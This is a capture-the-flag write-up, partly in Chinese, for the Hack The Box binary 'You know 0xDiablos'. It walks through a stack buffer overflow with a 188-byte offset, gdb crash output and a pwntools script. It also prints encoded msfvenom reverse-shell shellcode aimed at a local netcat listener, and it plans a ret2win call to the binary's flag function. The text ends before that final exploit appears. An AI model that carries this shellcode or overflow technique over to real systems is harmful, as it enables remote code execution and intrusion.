HTB - You know 0xDiablos

Checksec

➜  You know 0xDiablos checksec vuln
[*] '/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Fuzz

➜  You know 0xDiablos cyclic 500 > out
➜  You know 0xDiablos gdb-gef --ex run ./vuln < out
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Starting program: /mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1f5
$ebx   : 0x62616175 ("uaab"?)
$ecx   : 0xffffffff
$edx   : 0xffffffff
$esp   : 0xffffd370  →  "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
$ebp   : 0x62616176 ("vaab"?)
$esi   : 0xf7fb3000  →  0x001e9d6c
$edi   : 0xf7fb3000  →  0x001e9d6c
$eip   : 0x62616177 ("waab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd370│+0x0000: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"$esp
0xffffd374│+0x0004: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0xffffd378│+0x0008: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0xffffd37c│+0x000c: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0xffffd380│+0x0010: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoa[...]"
0xffffd384│+0x0014: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpa[...]"
0xffffd388│+0x0018: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]"
0xffffd38c│+0x001c: "faacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra[...]"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  quit

Find offset

  • eip
➜  You know 0xDiablos cyclic -l 0x62616177188
  • esp
➜  You know 0xDiablos cyclic -l xaab
192

Payload

"A"*188+eip+payload

Generate Payload

╰─➤ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4433 -f py -b "\x00\x20\x0A"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 479 bytes
buf =  b""
buf += b"\xba\x41\x94\x42\x64\xdb\xd2\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x57\x0e\x03\x16\x9a\xa0"
buf += b"\x91\xa9\x79\xd3\xb9\x9a\x3e\x4f\x54\x1e\x48\x8e\x18"
buf += b"\x78\x87\xd1\xca\xdd\xa7\xed\x21\x5d\x8e\x68\x43\x35"
buf += b"\x6e\x8b\xb3\xc4\xf8\x89\xb3\xd7\xa9\x04\x52\x67\x2f"
buf += b"\x47\xc4\xd4\x03\x64\x6f\x3b\xae\xeb\x3d\xd3\x5f\xc3"
buf += b"\xb2\x4b\xc8\x34\x1a\xe9\x61\xc2\x87\xbf\x22\x5d\xa6"
buf += b"\x8f\xce\x90\xa9"

Find ESP Address

socat TCP4-LISTEN:10001,fork EXEC:./vuln
from pwn import *
p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
➜  You know 0xDiablos gdb-gef vuln /tmp/core.1618245963
Reading symbols from vuln...
(No debugging symbols found in vuln)
[New LWP 19601]
Core was generated by `./vuln'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xffffd42e in ?? ()
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Error while writing index for `/usr/lib/debug/lib/i386-linux-gnu/libc-2.31.so': mkstemp: 没有那个文件或目录.
gef➤  x/wx $esp
0xffffd360:    0x90909090
gef➤

ESP: 0xffffd360

\x60\xd3\xff\xff

Complite Exploit

from pwn import *

p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
socat TCP4-LISTEN:10001,fork EXEC:./vuln
➜  ~ nc -l 4433
w
python3 getshell.py
➜  ~ nc -l 4433
w
 05:08:57 up 3 days, 22:41,  4 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
aresx    :0       :0               Fri02   ?xdm?  25:33   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
aresx    pts/0    192.168.92.1     Fri05   19:20m 24.17s  0.00s w
aresx    pts/1    192.168.92.1     Fri05    1.00s 12.66s  0.29s python3 getshell.py
aresx    pts/2    192.168.92.1     Fri05    0.00s  4.90s  0.00s nc -l 4433

Done ?

Fuck no

由于启动方式的不同,远程服务器的esp地址还是和本地环境不一致

需要换种思路

Source Code

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  puts("You know who are 0xDiablos: ");
  vuln();
  return 0;
}

vuln

int vuln()
{
  char s; // [esp+0h] [ebp-B8h]

  gets(&s);
  return puts(&s);
}

flag

char *__cdecl flag(int a1, int a2)
{
  char *result; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", (const char *)&unk_804A008);
  if ( !stream )
  {
    puts("Hurry up and try in on server side.");
    exit(0);
  }
  result = fgets(&s, 64, stream);
  if ( a1 == -559038737 && a2 == -1059139571 )
    result = (char *)printf(&s);
  return result;
}

看源码可以知道flag函数接收两个参数a1,a2,并且会进行判断

if ( a1 == -559038737 && a2 == -1059139571 )
    result = (char *)printf(&s);

Final Exploit

188位的offset使程序发生溢出,后面8位覆盖eip指向flag函数地址,shellcode为call函数时压入栈中的参数

offset+eip+shellcode

IDA中可以确定flag函数的调用地址080491E2

.text:080491E2                 push    ebp
.text:080491E3                 mov     ebp, esp
.text:080491E5                 push    ebx
.text:080491E6                 sub     esp, 54h
.text:080491E9                 call    __x86_get_pc_thunk_bx
.text:080491EE                 add     ebx, 2E12h
.text:080491F4                 sub     esp, 8
.text:080491F7                 lea     eax, (unk_804A008 - 804C000h)[ebx]
.text:080491FD                 push    eax             ; modes
.text:080491FE                 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt"
.text:08049204                 push    eax             ; filename
.text:08049205                 call    _fopen
.text:0804920A                 add     esp, 10h
.text:0804920D                 mov     [ebp+stream], eax
.text:08049210                 cmp     [ebp+stream], 0
.text:08049214                 jnz     short loc_8049232
.text:08049216                 sub     esp, 0Ch
.text:08049219                 lea     eax, (aHurryUpAndTryI - 804C000h)[ebx] ; "Hurry up and try in on server side."
.text:0804921F                 push    eax             ; s
.text:08049220                 call    _puts
.text:08049225                 add     esp, 10h
.text:08049228                 sub     esp, 0Ch
.text:0804922B                 push    0               ; status
.text:0804922D                 call    _exit

也可以使用readelf

➜  You know 0xDiablos readelf -a vuln | grep FUNC | grep flag
    73: 080491e2   144 FUNC    GLOBAL DEFAULT   13 flag

可以写一个类似的程序确定函数之间调用的细节

int flag(int a,int b){
int x =3;
x = x-1;


if (a==-559038737 && b==-1059139571){
    return a+b;
    }

}

int main(){

flag(-559038737,-1059139571);
return 0;

}
gcc -m32 -z execstack -fno-stack-protector -no-pie -z norelro -D_FORTIFY_SOURCE=0 test.c -o test
➜  You know 0xDiablos gdb-gef test
Reading symbols from test...
(No debugging symbols found in test)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
gef➤  b main
Breakpoint 1 at 0x80491b3
gef➤  x/20i main
   0x80491b3 
:    endbr32
   0x80491b7 :    push   ebp
   0x80491b8 :    mov    ebp,esp
   0x80491ba :    call   0x80491dd <__x86.get_pc_thunk.ax>
   0x80491bf :    add    eax,0x20dd
   0x80491c4 :    push   0xc0ded00d
   0x80491c9 :    push   0xdeadbeef
   0x80491ce :    call   0x8049176 
   0x80491d3 :    add    esp,0x8
   0x80491d6 :    mov    eax,0x0
   0x80491db :    leave
   0x80491dc :    ret
   0x80491dd <__x86.get_pc_thunk.ax>:    mov    eax,DWORD PTR [esp]
   0x80491e0 <__x86.get_pc_thunk.ax+3>:    ret

可以看到在调用flag函数之前将两个参数压入了栈中,然后执行call指令

si进入call flag 看看栈顶多了个什么东西???

gef➤  si
0x08049176 in flag ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0804b29c  →  0x0804b1b0  →  0x00000001
$ebx   : 0x0
$ecx   : 0x2a848268
$edx   : 0xffffd3c4  →  0x00000000
$esp   : 0xffffd38c  →  0x080491d3  →   add esp, 0x8
$ebp   : 0xffffd398  →  0x00000000
$esi   : 0xf7fb3000  →  0x001e9d6c
$edi   : 0xf7fb3000  →  0x001e9d6c
$eip   : 0x08049176  →   endbr32
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd38c│+0x0000: 0x080491d3  →   add esp, 0x8     ← $esp
0xffffd390│+0x0004: 0xdeadbeef
0xffffd394│+0x0008: 0xc0ded00d
0xffffd398│+0x000c: 0x00000000     ← $ebp
0xffffd39c│+0x0010: 0xf7de7ee5  →  <__libc_start_main+245> add esp, 0x10
0xffffd3a0│+0x0014: 0x00000001
0xffffd3a4│+0x0018: 0xffffd434  →  0xffffd5ae  →  "/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/test"
0xffffd3a8│+0x001c: 0xffffd43c  →  0xffffd5de  →  "USER=aresx"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049169 <__do_global_dtors_aux+41> lea    esi, [esi+eiz*1+0x0]
    0x8049170   endbr32
    0x8049174   jmp    0x8049100 
 →  0x8049176          endbr32
    0x804917a          push   ebp
    0x804917b          mov    ebp, esp
    0x804917d          sub    esp, 0x10
    0x8049180         call   0x80491dd <__x86.get_pc_thunk.ax>
    0x8049185         add    eax, 0x2117
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x8049176 in flag (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049176 → flag()
[#1] 0x80491d3 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

然后直接进行一个exp的编写

⬆︎TOP